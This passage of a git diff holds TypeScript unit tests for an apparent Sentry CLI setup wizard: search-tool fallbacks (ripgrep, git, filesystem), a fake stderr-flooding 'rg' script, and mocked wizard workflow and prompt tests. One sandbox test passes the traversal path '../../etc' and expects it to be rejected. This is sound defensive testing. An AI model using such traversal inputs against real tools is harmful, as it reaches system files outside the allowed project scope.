dryRun: false, + org: "acme", + team: "platform", + }; +} + +function makeToolPayload(payload: Omit): ToolPayload { + return { + type: "tool", + ...payload, + } as ToolPayload; +} + +function writeExecutable(filePath: string, content: string): void { + fs.writeFileSync(filePath, content, { mode: 0o755 }); +} + +function setPath(entries: string[]): void { + process.env.PATH = entries.join(path.delimiter); +} + +let savedPath: string | undefined; +let testDir: string; +let helperBinDir: string; + +beforeEach(() => { + savedPath = process.env.PATH; + testDir = fs.mkdtempSync(path.join("/tmp", "init-search-")); + helperBinDir = fs.mkdtempSync(path.join("/tmp", "init-search-bin-")); + + fs.writeFileSync( + path.join(testDir, "app.ts"), + 'import * as Sentry from "@sentry/node";\nSentry.init({ dsn: "..." });\n' + ); + fs.writeFileSync( + path.join(testDir, "utils.ts"), + "export function helper() { return 1; }\n" + ); + fs.writeFileSync(path.join(testDir, "config.json"), "{}\n"); + fs.mkdirSync(path.join(testDir, "src")); + fs.writeFileSync( + path.join(testDir, "src", "index.ts"), + 'import { helper } from "./utils";\nSentry.init({});\n' + ); +}); + +afterEach(() => { + process.env.PATH = savedPath; + fs.rmSync(testDir, { recursive: true, force: true }); + fs.rmSync(helperBinDir, { recursive: true, force: true }); +}); + +describe("search tools", () => { + test("supports old grep include filters and subdirectory-relative paths", async () => { + const grepWithInclude = await executeTool( + makeToolPayload({ + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "Sentry", include: "app.*" }] }, + }), + makeContext(testDir) + ); + const grepSubdir = await executeTool( + makeToolPayload({ + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "helper", path: "src" }] }, + }), + makeContext(testDir) + ); + + expect(grepWithInclude.ok).toBe(true); + for (const match of (grepWithInclude.data as any).results[0].matches) { + expect(match.path).toContain("app"); + } + + expect(grepSubdir.ok).toBe(true); + for (const match of (grepSubdir.data as any).results[0].matches) { + expect(match.path).toMatch(/^src\//); + } + }); + + test("supports old glob multi-pattern and empty-result behavior", async () => { + const matches = await executeTool( + makeToolPayload({ + operation: "glob", + cwd: testDir, + params: { patterns: ["*.ts", "*.json"] }, + }), + makeContext(testDir) + ); + const empty = await executeTool( + makeToolPayload({ + operation: "glob", + cwd: testDir, + params: { patterns: ["*.xyz"] }, + }), + makeContext(testDir) + ); + + expect(matches.ok).toBe(true); + expect((matches.data as any).results).toHaveLength(2); + expect( + (matches.data as any).results[0].files.length + ).toBeGreaterThanOrEqual(2); + expect( + (matches.data as any).results[1].files.length + ).toBeGreaterThanOrEqual(1); + + expect(empty.ok).toBe(true); + expect((empty.data as any).results[0].files).toHaveLength(0); + }); + + test("falls back to git-based grep and glob when rg is unavailable", async () => { + const realGit = Bun.which("git"); + expect(realGit).toBeString(); + + const initResult = Bun.spawnSync([realGit as string, "init"], { + cwd: testDir, + stdout: "ignore", + stderr: "ignore", + }); + expect(initResult.exitCode).toBe(0); + + writeExecutable( + path.join(helperBinDir, "git"), + `#!/bin/sh\nexec "${realGit}" "$@"\n` + ); + setPath([helperBinDir]); + + const grepResult = await executeTool( + makeToolPayload({ + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "Sentry\\.init" }] }, + }), + makeContext(testDir) + ); + const globResult = await executeTool( + makeToolPayload({ + operation: "glob", + cwd: testDir, + params: { patterns: ["*.ts"] }, + }), + makeContext(testDir) + ); + + expect(grepResult.ok).toBe(true); + expect((grepResult.data as any).results[0].matches.length).toBeGreaterThan( + 0 + ); + expect(globResult.ok).toBe(true); + expect((globResult.data as any).results[0].files).toContain("app.ts"); + }); + + test("falls back to filesystem search when rg and git are unavailable", async () => { + setPath([helperBinDir]); + + const grepResult = await executeTool( + makeToolPayload({ + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "helper" }] }, + }), + makeContext(testDir) + ); + const globResult = await executeTool( + makeToolPayload({ + operation: "glob", + cwd: testDir, + params: { patterns: ["**/*.ts"] }, + }), + makeContext(testDir) + ); + + expect(grepResult.ok).toBe(true); + expect((grepResult.data as any).results[0].matches.length).toBeGreaterThan( + 0 + ); + expect(globResult.ok).toBe(true); + expect((globResult.data as any).results[0].files).toContain("src/index.ts"); + }); + + test("drains stderr during rg-based glob searches", async () => { + fs.writeFileSync(path.join(testDir, "src", "app.ts"), "export {};\n"); + writeExecutable( + path.join(helperBinDir, "rg"), + [ + "#!/bin/sh", + 'target="$5"', + "i=0", + 'while [ "$i" -lt 70000 ]; do', + " printf x >&2", + " i=$((i + 1))", + "done", + "printf '%s\\n' \"$target/src/app.ts\"", + ].join("\n") + ); + setPath([helperBinDir]); + + const result = await executeTool( + makeToolPayload({ + operation: "glob", + cwd: testDir, + params: { patterns: ["**/*.ts"] }, + }), + makeContext(testDir) + ); + + expect(result.ok).toBe(true); + expect((result.data as any).results[0].files).toContain("src/app.ts"); + }); + + test("rejects grep paths outside the init sandbox", async () => { + const result = await executeTool( + makeToolPayload({ + operation: "grep", + cwd: testDir, + params: { searches: [{ pattern: "test", path: "../../etc" }] }, + }), + makeContext(testDir) + ); + + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); +}); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index ba29bb388..5c7f94b04 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -1,17 +1,8 @@ -/** - * Wizard Runner Unit Tests - * - * Tests for the init wizard runner using spyOn on namespace imports - * (no mock.module) so these run under test:unit and contribute to - * lcov coverage. - */ - import { afterEach, beforeEach, describe, expect, - jest, mock, spyOn, test, @@ -20,13 +11,7 @@ import { import * as clack from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as apiClient from "../../../src/lib/api-client.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as banner from "../../../src/lib/banner.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as auth from "../../../src/lib/db/auth.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as userDb from "../../../src/lib/db/user.js"; import { WizardError } from "../../../src/lib/errors.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as fmt from "../../../src/lib/init/formatters.js"; @@ -35,1070 +20,358 @@ import * as git from "../../../src/lib/init/git.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as inter from "../../../src/lib/init/interactive.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as ops from "../../../src/lib/init/local-ops.js"; +import * as preflight from "../../../src/lib/init/preflight.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as registry from "../../../src/lib/init/tools/registry.js"; import type { - LocalOpPayload, + ResolvedInitContext, + ToolPayload, WizardOptions, WorkflowRunResult, } from "../../../src/lib/init/types.js"; -import { - describeLocalOp, - runWizard, -} from "../../../src/lib/init/wizard-runner.js"; +import { runWizard } from "../../../src/lib/init/wizard-runner.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as sentryUrls from "../../../src/lib/sentry-urls.js"; - -// ── Helpers ───────────────────────────────────────────────────────────────── +import * as workflowInputs from "../../../src/lib/init/workflow-inputs.js"; const noop = () => { /* suppress output */ }; +const spinnerMock = { + start: mock(), + stop: mock(), + message: mock(), +}; + function makeOptions(overrides?: Partial): WizardOptions { return { directory: "/tmp/test", yes: true, dryRun: false, - org: "test-org", ...overrides, }; } -// ── Spy declarations ──────────────────────────────────────────────────────── +function makeContext( + overrides?: Partial +): ResolvedInitContext { + return { + directory: "/tmp/test", + yes: true, + dryRun: false, + org: "acme", + team: "platform", + authToken: "test-token", + ...overrides, + }; +} + +let mockStartResult: WorkflowRunResult; +let mockResumeResults: WorkflowRunResult[]; +let resumeCallCount = 0; -// clack -let isCancelSpy: ReturnType; let introSpy: ReturnType; let confirmSpy: ReturnType; +let cancelSpy: ReturnType; let logInfoSpy: ReturnType; let logWarnSpy: ReturnType; let logErrorSpy: ReturnType; -let cancelSpy: ReturnType; -let selectSpy: ReturnType; let spinnerSpy: ReturnType; -// git -let checkGitStatusSpy: ReturnType; - -// deps -let getAuthTokenSpy: ReturnType; -let getAuthConfigSpy: ReturnType; -let isAuthenticatedSpy: ReturnType; let formatBannerSpy: ReturnType; let formatResultSpy: ReturnType; let formatErrorSpy: ReturnType; -let handleLocalOpSpy: ReturnType; -let precomputeDirListingSpy: ReturnType; +let checkGitStatusSpy: ReturnType; let handleInteractiveSpy: ReturnType; -let listTeamsSpy: ReturnType; -let createTeamSpy: ReturnType; -let getUserInfoSpy: ReturnType; -let getSentryBaseUrlSpy: ReturnType; - -// MastraClient +let resolveInitContextSpy: ReturnType; +let describeToolSpy: ReturnType; +let executeToolSpy: ReturnType; +let precomputeDirListingSpy: ReturnType; +let preReadCommonFilesSpy: ReturnType; +let precomputeSentryDetectionSpy: ReturnType; let getWorkflowSpy: ReturnType; - -// stderr let stderrSpy: ReturnType; -// ── Mock workflow run ─────────────────────────────────────────────────────── - -let mockStartResult: WorkflowRunResult; -let mockResumeResults: WorkflowRunResult[]; -let resumeCallCount: number; -let mockRun: { - startAsync: ReturnType; - resumeAsync: ReturnType; -}; - -const spinnerMock = { - start: mock(), - stop: mock(), - message: mock(), -}; - -function setupWorkflowSpy() { - mockRun = { - startAsync: mock(() => Promise.resolve(mockStartResult)), - resumeAsync: mock(() => { - const result = mockResumeResults[resumeCallCount] ?? { - status: "success" as const, - }; - resumeCallCount += 1; - return Promise.resolve(result); - }), - }; - - const mockWorkflow = { - createRun: mock(() => Promise.resolve(mockRun)), - }; - - getWorkflowSpy = spyOn(MastraClient.prototype, "getWorkflow").mockReturnValue( - mockWorkflow as any - ); - - return { mockWorkflow }; -} - -// ── Setup / Teardown ──────────────────────────────────────────────────────── - -let savedAuthToken: string | undefined; -beforeEach(() => { - savedAuthToken = process.env.SENTRY_AUTH_TOKEN; - delete process.env.SENTRY_AUTH_TOKEN; -}); -afterEach(() => { - if (savedAuthToken !== undefined) { - process.env.SENTRY_AUTH_TOKEN = savedAuthToken; - } -}); - beforeEach(() => { - mockStartResult = { status: "success" }; + mockStartResult = { status: "success", result: { platform: "React" } }; mockResumeResults = []; resumeCallCount = 0; process.exitCode = 0; - // clack spies - isCancelSpy = spyOn(clack, "isCancel").mockImplementation( - (v: unknown) => v === Symbol.for("cancel") - ); introSpy = spyOn(clack, "intro").mockImplementation(noop); confirmSpy = spyOn(clack, "confirm").mockResolvedValue(true); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); - cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); - selectSpy = spyOn(clack, "select").mockResolvedValue("test-team"); spinnerSpy = spyOn(clack, "spinner").mockReturnValue(spinnerMock as any); - // Reset spinner mock call counts spinnerMock.start.mockClear(); spinnerMock.stop.mockClear(); spinnerMock.message.mockClear(); - // git spy — default: pass all checks - checkGitStatusSpy = spyOn(git, "checkGitStatus").mockResolvedValue(true); - - // dep spies - getAuthTokenSpy = spyOn(auth, "getAuthToken").mockReturnValue("fake-token"); - getAuthConfigSpy = spyOn(auth, "getAuthConfig").mockReturnValue({ - token: "fake-token", - source: "oauth" as const, - }); - isAuthenticatedSpy = spyOn(auth, "isAuthenticated").mockReturnValue(true); formatBannerSpy = spyOn(banner, "formatBanner").mockReturnValue("BANNER"); formatResultSpy = spyOn(fmt, "formatResult").mockImplementation(noop); formatErrorSpy = spyOn(fmt, "formatError").mockImplementation(noop); - handleLocalOpSpy = spyOn(ops, "handleLocalOp").mockResolvedValue({ + checkGitStatusSpy = spyOn(git, "checkGitStatus").mockResolvedValue(true); + handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ + action: "continue", + }); + resolveInitContextSpy = spyOn( + preflight, + "resolveInitContext" + ).mockResolvedValue(makeContext()); + describeToolSpy = spyOn(registry, "describeTool").mockReturnValue( + "Running tool..." + ); + executeToolSpy = spyOn(registry, "executeTool").mockResolvedValue({ ok: true, data: { results: [] }, }); precomputeDirListingSpy = spyOn( - ops, + workflowInputs, "precomputeDirListing" ).mockResolvedValue([]); - spyOn(ops, "preReadCommonFiles").mockResolvedValue({}); - spyOn(ops, "precomputeSentryDetection").mockResolvedValue({ + preReadCommonFilesSpy = spyOn( + workflowInputs, + "preReadCommonFiles" + ).mockResolvedValue({}); + precomputeSentryDetectionSpy = spyOn( + workflowInputs, + "precomputeSentryDetection" + ).mockResolvedValue({ ok: true, data: { status: "none", signals: [] }, }); - handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ - action: "continue", - }); - listTeamsSpy = spyOn(apiClient, "listTeams").mockResolvedValue([]); - createTeamSpy = spyOn(apiClient, "createTeam").mockResolvedValue({ - id: "1", - slug: "test-team", - name: "test-team", - isMember: true, - }); - getUserInfoSpy = spyOn(userDb, "getUserInfo").mockReturnValue({ - userId: "1", - username: "testuser", - name: "Test User", - }); - getSentryBaseUrlSpy = spyOn(sentryUrls, "getSentryBaseUrl").mockReturnValue( - "https://sentry.io" - ); - - // stderr spy (suppress banner output) stderrSpy = spyOn(process.stderr, "write").mockImplementation( () => true as any ); - // MastraClient - setupWorkflowSpy(); + const run = { + startAsync: mock(() => Promise.resolve(mockStartResult)), + resumeAsync: mock(() => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); + }), + }; + const workflow = { + createRun: mock(() => Promise.resolve(run)), + }; + getWorkflowSpy = spyOn(MastraClient.prototype, "getWorkflow").mockReturnValue( + workflow as any + ); }); afterEach(() => { - isCancelSpy.mockRestore(); introSpy.mockRestore(); confirmSpy.mockRestore(); + cancelSpy.mockRestore(); logInfoSpy.mockRestore(); logWarnSpy.mockRestore(); logErrorSpy.mockRestore(); - cancelSpy.mockRestore(); - selectSpy.mockRestore(); spinnerSpy.mockRestore(); - checkGitStatusSpy.mockRestore(); - getAuthTokenSpy.mockRestore(); - getAuthConfigSpy.mockRestore(); - isAuthenticatedSpy.mockRestore(); formatBannerSpy.mockRestore(); formatResultSpy.mockRestore(); formatErrorSpy.mockRestore(); - handleLocalOpSpy.mockRestore(); - precomputeDirListingSpy.mockRestore(); + checkGitStatusSpy.mockRestore(); handleInteractiveSpy.mockRestore(); - listTeamsSpy.mockRestore(); - createTeamSpy.mockRestore(); - getUserInfoSpy.mockRestore(); - getSentryBaseUrlSpy.mockRestore(); - - stderrSpy.mockRestore(); + resolveInitContextSpy.mockRestore(); + describeToolSpy.mockRestore(); + executeToolSpy.mockRestore(); + precomputeDirListingSpy.mockRestore(); + preReadCommonFilesSpy.mockRestore(); + precomputeSentryDetectionSpy.mockRestore(); getWorkflowSpy.mockRestore(); + stderrSpy.mockRestore(); process.exitCode = 0; }); -// ── Tests ─────────────────────────────────────────────────────────────────── - -// Guard against tests that accidentally wait for interactive input. -// If a test hangs for 10s it's almost certainly blocked on stdin, not slow I/O. -const TEST_TIMEOUT_MS = 10_000; - -describe("runWizard", { timeout: TEST_TIMEOUT_MS }, () => { - describe("success path", () => { - test("calls formatResult when workflow completes successfully", async () => { - mockStartResult = { status: "success", result: { platform: "React" } }; - - await runWizard(makeOptions()); - - expect(formatResultSpy).toHaveBeenCalled(); - expect(formatErrorSpy).not.toHaveBeenCalled(); - expect(spinnerMock.stop).toHaveBeenCalledWith("Done"); - }); - }); - - describe("TTY check", () => { - test("throws WizardError when not TTY and not --yes", async () => { - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: false, - configurable: true, - }); - - await expect(runWizard(makeOptions({ yes: false }))).rejects.toThrow( - WizardError - ); - - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - }); - }); - - describe("experimental warning", () => { - test("shows experimental warning and proceeds on confirm", async () => { - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: true, - configurable: true, - }); - - mockStartResult = { status: "success" }; - - await runWizard(makeOptions({ yes: false })); - - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - - expect(confirmSpy).toHaveBeenCalledWith( - expect.objectContaining({ - message: expect.stringContaining("EXPERIMENTAL"), - }) - ); - expect(formatResultSpy).toHaveBeenCalled(); - }); - - test("skips experimental warning with --yes", async () => { - mockStartResult = { status: "success" }; - - await runWizard(makeOptions({ yes: true })); - - expect(confirmSpy).not.toHaveBeenCalled(); - expect(formatResultSpy).toHaveBeenCalled(); - }); - - test("exits cleanly when user presses Ctrl+C on experimental warning", async () => { - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: true, - configurable: true, - }); - - confirmSpy.mockResolvedValue(Symbol.for("cancel")); - - await runWizard(makeOptions({ yes: false })); - - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - - expect(cancelSpy).toHaveBeenCalledWith( - expect.stringContaining("Setup cancelled") - ); - expect(process.exitCode).toBe(0); - expect(formatResultSpy).not.toHaveBeenCalled(); - }); - - test("exits cleanly when user declines experimental warning", async () => { - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: true, - configurable: true, - }); - - confirmSpy.mockResolvedValue(false); - - await runWizard(makeOptions({ yes: false })); +describe("runWizard", () => { + test("formats successful results", async () => { + await runWizard(makeOptions()); - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - - expect(cancelSpy).toHaveBeenCalledWith("Setup cancelled."); - expect(process.exitCode).toBe(0); - expect(formatResultSpy).not.toHaveBeenCalled(); - }); + expect(formatResultSpy).toHaveBeenCalled(); + expect(formatErrorSpy).not.toHaveBeenCalled(); + expect(spinnerMock.stop).toHaveBeenCalledWith("Done"); }); - describe("connection error", () => { - test("times out if startAsync hangs", async () => { - jest.useFakeTimers(); - - const hangingRun = { - startAsync: mock( - () => - new Promise(() => { - /* never resolves */ - }) - ), - resumeAsync: mock(), - }; - const hangingWorkflow = { - createRun: mock(() => Promise.resolve(hangingRun)), - }; - getWorkflowSpy.mockReturnValue(hangingWorkflow as any); - - const { API_TIMEOUT_MS } = await import( - "../../../src/lib/init/constants.js" - ); - - const promise = runWizard(makeOptions()); - - // Flush microtasks so runWizard reaches the withTimeout setTimeout. - // preamble() → confirmExperimental() → checkGitStatus() → - // precomputeDirListing() → preReadCommonFiles() → createRun() - // each need a tick. - for (let i = 0; i < 20; i++) await Promise.resolve(); - - // Advance past the timeout - jest.advanceTimersByTime(API_TIMEOUT_MS); - - await expect(promise).rejects.toThrow(WizardError); - - expect(logErrorSpy).toHaveBeenCalled(); - const errorMsg: string = logErrorSpy.mock.calls[0][0]; - expect(errorMsg).toContain("timed out"); - - jest.useRealTimers(); + test("throws when stdin is not a TTY without --yes", async () => { + const originalIsTTY = process.stdin.isTTY; + Object.defineProperty(process.stdin, "isTTY", { + value: false, + configurable: true, }); - test("handles startAsync rejection gracefully", async () => { - const failingRun = { - startAsync: mock(() => Promise.reject(new Error("Connection refused"))), - resumeAsync: mock(), - }; - const mockWorkflow = { - createRun: mock(() => Promise.resolve(failingRun)), - }; - getWorkflowSpy.mockReturnValue(mockWorkflow as any); - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); + await expect(runWizard(makeOptions({ yes: false }))).rejects.toThrow( + WizardError + ); - expect(logErrorSpy).toHaveBeenCalledWith("Connection refused"); - expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + Object.defineProperty(process.stdin, "isTTY", { + value: originalIsTTY, + configurable: true, }); }); - describe("workflow failure", () => { - test("calls formatError when status is failed", async () => { - mockStartResult = { status: "failed", error: "workflow exploded" }; + test("passes dry-run as non-interactive into preflight", async () => { + await runWizard(makeOptions({ dryRun: true, yes: false })); - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); - - expect(formatErrorSpy).toHaveBeenCalled(); - expect(formatResultSpy).not.toHaveBeenCalled(); - }); + expect(resolveInitContextSpy).toHaveBeenCalledWith( + expect.objectContaining({ dryRun: true, yes: true }) + ); + expect(logWarnSpy).toHaveBeenCalled(); }); - describe("success with exitCode", () => { - test("treats success with exitCode as error", async () => { - mockStartResult = { - status: "success", - result: { exitCode: 10 }, - }; + test("stops before workflow creation when preflight returns null", async () => { + resolveInitContextSpy.mockResolvedValue(null); - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); + await runWizard(makeOptions()); - expect(formatErrorSpy).toHaveBeenCalled(); - }); + expect(getWorkflowSpy).not.toHaveBeenCalled(); + expect(formatResultSpy).not.toHaveBeenCalled(); }); - describe("dry-run mode", () => { - test("shows dry-run warning on start", async () => { - mockStartResult = { status: "success" }; + test("aborts cleanly when git safety check fails", async () => { + checkGitStatusSpy.mockResolvedValue(false); - await runWizard(makeOptions({ dryRun: true })); + await runWizard(makeOptions()); - expect(logWarnSpy).toHaveBeenCalled(); - const warnMsg: string = logWarnSpy.mock.calls[0][0]; - expect(warnMsg).toContain("Dry-run"); - }); + expect(cancelSpy).toHaveBeenCalledWith("Setup cancelled."); + expect(getWorkflowSpy).not.toHaveBeenCalled(); }); - describe("git safety check", () => { - test("calls checkGitStatus with directory and yes from options", async () => { - mockStartResult = { status: "success" }; - - await runWizard(makeOptions({ directory: "/my/project", yes: true })); - - expect(checkGitStatusSpy).toHaveBeenCalledWith({ - cwd: "/my/project", - yes: true, - }); - }); - - test("aborts gracefully when checkGitStatus returns false", async () => { - checkGitStatusSpy.mockResolvedValue(false); - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: true, - configurable: true, - }); - - await runWizard(makeOptions({ yes: false })); - - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - - expect(cancelSpy).toHaveBeenCalledWith("Setup cancelled."); - expect(process.exitCode).toBe(0); - // Should not proceed to workflow - expect(getWorkflowSpy).not.toHaveBeenCalled(); - }); - - test("continues to workflow when checkGitStatus returns true", async () => { - checkGitStatusSpy.mockResolvedValue(true); - mockStartResult = { status: "success" }; - - await runWizard(makeOptions()); - - expect(checkGitStatusSpy).toHaveBeenCalled(); - expect(formatResultSpy).toHaveBeenCalled(); - }); + test("dispatches tool payloads through the registry", async () => { + const payload: ToolPayload = { + type: "tool", + operation: "run-commands", + cwd: "/tmp/test", + params: { commands: ["npm install @sentry/node"] }, + }; + mockStartResult = { + status: "suspended", + suspended: [["install-deps"]], + steps: { + "install-deps": { suspendPayload: payload }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(describeToolSpy).toHaveBeenCalledWith(payload); + expect(executeToolSpy).toHaveBeenCalledWith(payload, makeContext()); + expect(spinnerMock.message).toHaveBeenCalledWith("Running tool..."); }); - describe("suspend/resume loop", () => { - test("dispatches local-op payload to handleLocalOp", async () => { - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, + test("dispatches interactive payloads to the prompt handler", async () => { + mockStartResult = { + status: "suspended", + suspended: [["pick-feature"]], + steps: { + "pick-feature": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Continue?", }, }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(handleLocalOpSpy).toHaveBeenCalled(); - const payload = handleLocalOpSpy.mock.calls[0][0] as { - type: string; - operation: string; - }; - expect(payload.type).toBe("local-op"); - expect(payload.operation).toBe("list-dir"); - }); - - test("generates spinner message from payload params", async () => { - mockStartResult = { - status: "suspended", - suspended: [["install-deps"]], - steps: { - "install-deps": { - suspendPayload: { - type: "local-op", - operation: "run-commands", - cwd: "/app", - params: { - commands: ["pip install sentry-sdk"], - }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(spinnerMock.message).toHaveBeenCalledWith( - "Running pip install sentry-sdk..." - ); - }); - - test("generates message for run-commands operation", async () => { - mockStartResult = { - status: "suspended", - suspended: [["install-deps"]], - steps: { - "install-deps": { - suspendPayload: { - type: "local-op", - operation: "run-commands", - cwd: "/app", - params: { commands: ["npm install @sentry/nextjs"] }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(spinnerMock.message).toHaveBeenCalledWith( - "Running npm install @sentry/nextjs..." - ); - }); - - test("truncates generated message when terminal is narrow", async () => { - const origColumns = process.stdout.columns; - Object.defineProperty(process.stdout, "columns", { - value: 40, - configurable: true, - }); - - mockStartResult = { - status: "suspended", - suspended: [["install-deps"]], - steps: { - "install-deps": { - suspendPayload: { - type: "local-op", - operation: "run-commands", - cwd: "/app", - params: { - commands: [ - "npm install @sentry/nextjs @sentry/profiling-node @sentry/browser", - ], - }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - try { - await runWizard(makeOptions()); - - // 40 columns - 4 reserved = 36 max, truncated with "…" - const call = spinnerMock.message.mock.calls.find((c: string[]) => - c[0]?.includes("Running") - ) as string[] | undefined; - expect(call).toBeDefined(); - const msg = call?.[0] ?? ""; - // The rendered message contains ANSI codes, so check visible content - // biome-ignore lint/suspicious/noControlCharactersInRegex: stripping ANSI escape sequences - const plain = msg.replace(/\x1b\[[^m]*m/g, ""); - expect(plain.length).toBeLessThanOrEqual(36); - expect(plain.endsWith("…")).toBe(true); - } finally { - Object.defineProperty(process.stdout, "columns", { - value: origColumns, - configurable: true, - }); - } - }); - - test("displays message from LocalOpResult via spin.stop", async () => { - handleLocalOpSpy.mockResolvedValue({ - ok: true, - message: 'Using existing project "my-app" in acme', - data: { orgSlug: "acme", projectSlug: "my-app" }, - }); - - mockStartResult = { - status: "suspended", - suspended: [["ensure-sentry-project"]], - steps: { - "ensure-sentry-project": { - suspendPayload: { - type: "local-op", - operation: "create-sentry-project", - cwd: "/app", - params: { name: "my-app", platform: "python" }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(spinnerMock.stop).toHaveBeenCalledWith( - 'Using existing project "my-app" in acme' - ); - // Spinner should restart after showing the message - const startCalls = spinnerMock.start.mock.calls.map( - (c: string[]) => c[0] - ); - expect(startCalls).toContain("Processing..."); - }); - - test("dispatches interactive payload to handleInteractive", async () => { - mockStartResult = { - status: "suspended", - suspended: [["select-features"]], - steps: { - "select-features": { - suspendPayload: { - type: "interactive", - kind: "multi-select", - prompt: "Select features", - availableFeatures: ["errorMonitoring"], - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(handleInteractiveSpy).toHaveBeenCalled(); - const payload = handleInteractiveSpy.mock.calls[0][0] as { - type: string; - kind: string; - }; - expect(payload.type).toBe("interactive"); - expect(payload.kind).toBe("multi-select"); - }); - - test("auto-continues verify-changes in dry-run mode", async () => { - mockStartResult = { - status: "suspended", - suspended: [["verify-changes"]], - steps: { - "verify-changes": { - suspendPayload: { - type: "interactive", - kind: "confirm", - prompt: "Changes look good?", - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions({ dryRun: true })); - - expect(handleInteractiveSpy).not.toHaveBeenCalled(); - }); - - test("handles unknown suspend payload type", async () => { - mockStartResult = { - status: "suspended", - suspended: [["some-step"]], - steps: { - "some-step": { - suspendPayload: { type: "alien", data: 42 }, - }, - }, - }; - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); - - expect(logErrorSpy).toHaveBeenCalled(); - const errorMsg: string = logErrorSpy.mock.calls[0][0]; - expect(errorMsg).toContain("alien"); - }); - - test("handles missing suspend payload", async () => { - mockStartResult = { - status: "suspended", - suspended: [["empty-step"]], - steps: {}, - }; - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); - - expect(logErrorSpy).toHaveBeenCalled(); - const errorMsg: string = logErrorSpy.mock.calls[0][0]; - expect(errorMsg).toContain("No suspend payload"); - }); - - test("non-WizardCancelledError in catch triggers log.error + cancel", async () => { - handleLocalOpSpy.mockImplementation(() => Promise.reject("string error")); - - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, - }, - }, - }; - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); - - expect(logErrorSpy).toHaveBeenCalledWith("string error"); - expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); - }); - - test("falls back to result.suspendPayload when step payload missing", async () => { - mockStartResult = { - status: "suspended", - suspended: [["unknown-step"]], - steps: {}, - suspendPayload: { - type: "local-op", - operation: "read-files", - cwd: "/app", - params: { paths: ["package.json"] }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(handleLocalOpSpy).toHaveBeenCalled(); - }); - - test("falls back to iterating steps when stepId key not found", async () => { - mockStartResult = { - status: "suspended", - suspended: [["step-a"]], - steps: { - "step-b": { - suspendPayload: { - type: "local-op", - operation: "read-files", - cwd: "/app", - params: { paths: ["index.ts"] }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(handleLocalOpSpy).toHaveBeenCalled(); - // resumeAsync should be called with the actual key ("step-b"), not the - // original stepId ("step-a") from result.suspended - expect(mockRun.resumeAsync).toHaveBeenCalledWith( - expect.objectContaining({ step: "step-b" }) - ); - }); + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + 